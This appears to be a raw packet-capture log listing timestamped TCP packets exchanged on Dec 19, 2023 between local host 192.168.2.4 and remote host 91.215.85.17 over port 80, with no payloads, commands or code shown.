Dec 19, 2023 03:22:22.518188000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.518271923 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.518312931 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.518429995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.518615007 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.518656969 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.518688917 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.518785000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.518827915 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.518857956 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.518940926 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.518982887 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.519038916 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.519148111 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.519201994 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.519272089 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.519351006 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.519392967 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.519401073 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.519464970 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.519505978 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.519560099 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.519630909 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.519673109 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.519714117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.519810915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.519854069 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.519898891 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.519979954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.520021915 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.520049095 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.520162106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.520199060 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.520270109 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.520335913 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.520381927 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.520395041 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.520481110 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.520525932 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.520555019 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.520674944 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.520718098 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.521622896 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.521701097 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.521742105 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.521771908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.521826982 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.521882057 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.521962881 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.522028923 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.522074938 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.522150993 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.522258997 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.522298098 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.522329092 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.522439003 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.522480965 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.522541046 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.522629976 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.522672892 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.522720098 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.522758007 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.522798061 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.522842884 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.522929907 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.522973061 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.523096085 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.523174047 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.523216009 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.523258924 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.523334980 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.523392916 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.523400068 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.523500919 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.523541927 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.523583889 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.523657084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.523698092 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.523749113 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.523808956 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.523849010 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.523890018 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.523993015 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.524039030 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.524082899 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.524162054 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.524204969 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.524219036 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.524298906 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.524339914 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.524406910 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.524477959 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.524524927 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.524599075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.524662018 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.524704933 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.524753094 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.524853945 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.524895906 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.524924040 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.525022030 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.525062084 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.525167942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.525263071 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.525305033 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.525363922 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.525453091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.525496006 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.525552988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.525650024 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.525691986 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.525733948 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.525808096 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.525849104 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.525892019 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.526002884 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.526045084 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.526089907 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.576560020 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.580203056 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.623466015 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.774099112 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.774502039 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.774557114 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.774646997 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.774724007 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.774765015 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.774799109 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.774871111 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.774909973 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.774961948 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.775068045 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.775111914 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.775139093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.775268078 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.775302887 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.775355101 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.775444984 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.775485992 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.775542974 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.775615931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.775662899 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.775829077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.775907040 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.775959015 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.776002884 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.776084900 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.776129007 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.776156902 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.776300907 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.776335001 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.776377916 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.776482105 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.776524067 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.776591063 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.776710033 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.776770115 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.776798010 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.776928902 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.776974916 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.777004957 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.777091980 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.777139902 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.777225018 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.777314901 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.777359009 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.777406931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.777513981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.777559042 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.777630091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.777837992 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.777893066 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.777921915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.777987003 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.778038025 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.778111935 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.778166056 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.778215885 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.778280020 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.778362989 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.778400898 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.778484106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.778614998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.778657913 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.778697968 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.779012918 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.779047966 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.779095888 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.779144049 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.779195070 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.779244900 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.779380083 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.779460907 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.779489994 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.779562950 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.779602051 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.779628038 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.779690981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.779730082 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.779773951 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.779856920 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.779903889 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.779952049 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.780050993 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.780087948 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.780131102 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.780237913 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.780288935 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.780314922 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.780379057 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.780414104 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.780479908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.780570984 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.780610085 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.780653954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.780802965 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.780819893 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.780849934 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.780919075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.780963898 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.781025887 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.781074047 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.781111002 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.781130075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.781184912 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.781224012 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.781261921 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.781326056 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.781374931 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.781379938 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.781426907 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.781470060 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.781537056 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.781615973 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.781683922 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.781728029 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.781833887 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.781872988 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.782130003 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.782222986 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.782300949 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.783380985 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.783471107 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.783504963 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.783746004 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.783819914 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.783859015 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.784099102 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.784184933 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.784216881 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.784419060 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.784535885 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.784576893 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.784852982 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.785157919 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.785203934 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.785263062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.785360098 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.785397053 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.785430908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.785500050 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.785540104 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.785583019 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.785646915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.785706997 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.785728931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.785789967 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.785832882 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.785861969 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.785954952 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.785998106 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.786062956 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.786118031 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.786153078 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.786236048 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.786307096 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.786350012 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.786426067 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.786487103 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.786523104 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.786535025 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.786609888 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.786648035 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.786704063 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.786796093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.786829948 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.786863089 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.786890030 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.786933899 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.786973000 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.787023067 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.787096977 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.787132978 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.787138939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.787206888 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.787241936 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.787271976 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.787333965 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.787369013 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.787408113 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.787451982 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.787487030 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.787513971 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.787570000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.787607908 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.787653923 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.787765026 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.787808895 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.787961006 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.788047075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.788083076 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.788134098 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.788209915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.788244009 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.788316965 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.788394928 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.788433075 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.788477898 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.788645029 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.788685083 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.788734913 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.788783073 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.788817883 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.788870096 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.788973093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.789015055 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.789040089 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.789099932 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.789134979 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.789222002 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.789294958 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.789331913 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.789361000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.789427996 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.789467096 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.789519072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.789596081 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.789632082 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:22.789699078 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:22.789762974 CET	80	49738	91.215.85.17	192.168.2.4
